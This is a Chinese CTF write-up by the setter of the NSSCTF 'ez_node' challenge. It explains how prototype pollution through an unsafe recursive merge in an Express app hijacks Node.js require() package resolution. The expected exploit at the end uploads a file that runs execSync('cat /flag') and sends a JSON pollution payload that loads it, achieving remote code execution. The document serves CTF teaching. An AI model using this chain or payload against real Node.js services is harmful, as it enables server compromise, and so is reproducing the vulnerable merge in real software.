ez_node NSSCTF round#8

笔者第一次出题,没有考虑周到,望大家见谅

确实是参考了 BalsnCTF 2022 2linenodejs 。这道题目是不存在模块引用的,而是寻找内部的gadget

笔者看到这个点感觉很有意思所以出了这道环境更真实一点的题(也就是把依赖全放在全局罢了

题目

server.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");

const PORT = process.env.port || 3000
const app = express();

global = "global"

app.listen(PORT, () => {
console.log(`listen at ${PORT}`);
});

function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}


let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());

app.use(express.static("./public"));

app.post("/upload", (req, res) => {
try{
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext
});
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
});

app.post('/pollution', require('body-parser').json(), (req, res) => {
let data = {};
try{
merge(data, req.body);
res.send('Register successfully!tql')
}
catch(error){
res.send(require('./err.js').getRandomErr())
}
})

err.js:

1
2
3
4
5
6
7
8
9
10
11
12
obj={
errDict: [
'发生肾么事了!!!发生肾么事了!!!',
'随意污染靶机会寄的,建议先本地测',
'李在干神魔👹',
'真寄了就重开把',
],
getRandomErr:() => {
return obj.errDict[Math.floor(Math.random() * 4)]
}
}
module.exports = obj

题解

详细源码追踪介绍可以看Node.js require() RCE复现 (hujiekang.top)

Loader.js GitHub源码 trySelf

找到readPackageScope:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function readPackageScope(checkPath) {
const rootSeparatorIndex = StringPrototypeIndexOf(checkPath, sep);
let separatorIndex;
do {
separatorIndex = StringPrototypeLastIndexOf(checkPath, sep);
checkPath = StringPrototypeSlice(checkPath, 0, separatorIndex);
if (StringPrototypeEndsWith(checkPath, sep + 'node_modules'))
return false;
const pjson = readPackage(checkPath + sep);
if (pjson) return {
data: pjson,
path: checkPath,
};
} while (separatorIndex > rootSeparatorIndex);
return false;
}

函数会逐级检查 node_modules 的存在,如果到了最后一级为目录为 node_modules 会直接返回 false 。而如果不存在题目环境下没有 pakcgae.json ,会导致 readPackageScope() 返回 false 并使 {data: pkg, path: pkgPath} 保留为空对象,导致了原型链污染漏洞存在。

继续追踪对象{ data: pkg, path: pkgPath },找到 resolvePackageTarget

resolvePackageTarget的第一个判断函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function isConditionalExportsMainSugar(exports, packageJSONUrl, base) {
if (typeof exports === 'string' || ArrayIsArray(exports)) return true;
if (typeof exports !== 'object' || exports === null) return false;

const keys = ObjectGetOwnPropertyNames(exports);
let isConditionalSugar = false;
let i = 0;
for (let j = 0; j < keys.length; j++) {
const key = keys[j];
const curIsConditionalSugar = key === '' || key[0] !== '.';
if (i++ === 0) {
isConditionalSugar = curIsConditionalSugar;
} else if (isConditionalSugar !== curIsConditionalSugar) {
throw new ERR_INVALID_PACKAGE_CONFIG(
fileURLToPath(packageJSONUrl), base,
'"exports" cannot contain some keys starting with \'.\' and some not.' +
' The exports object must either be an object of package subpath keys' +
' or an object of main entry condition name keys only.');
}
}
return isConditionalSugar;
}

如果exports是字符串或者数组,或者exports是个对象且所有属性名都满足key === '' || key[0] !== '.'条件,函数返回true,此时为exports添加了一层.属性
如果exports是对象,且key === '' || key[0] !== '.',或者exportsnull,函数返回falseexports保持原样

接下来进行的判断ObjectPrototypeHasOwnProperty(exports, packageSubpath),检查exports里面有无为packageSubpath的属性。而packageSubpath就是前一层已经调用的expansion

name与要引入的文件名相同,此时expansion.,此时exports可以满足条件
name.,此时expansion./err,此时exports自己构造:{"./err":"data"}

因为是basic难度所以我在服务端提供了上传文件接口,预期要发生merge之后触发报错,加载被污染的err.js

由此构造payload如下

1
{"constructor":{"prototype":{"data":{"exports":{".":"./123f8fee34d43ac4e726dd96712e3b4a.js"},"name":"./err.js"},"path":"./upload"}}}

疏忽及其他

因为比赛难度为 basic ,所以提供了上传接口来简化

本觉得这道题追踪下源码勉强能被解出的,后来四个小时没人解,只能放上链接了(因此导致了非预期解法)。

以为去年的gadget早就修了,没想到抄下来还能直接打。

这里有一些别人收集的 gadget 也可以使用BlackFan/client-side-prototype-pollution: Prototype Pollution and useful Script Gadgets (github.com)

还有就是虽然环境比原来真实一点,但不提示”要通过require来实现RCE“属实是我有点谜语人了。甚至好多人在我写了好长一段的/upload路由上下功夫。笔者在这里表达一下歉意。

感谢 Xenny ,感谢 NSS

预期exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//上传部分
obj={
getRandomErr:() => {
return require('child_process').execSync('cat /flag')
}
}
module.exports = obj

//污染部分
{"constructor":{
"prototype":{
"data":{
"exports":{
".":"./123f8fee34d43ac4e726dd96712e3b4a.js"
},
"name":"./err.js"
},
"path":"./upload"
}
}
}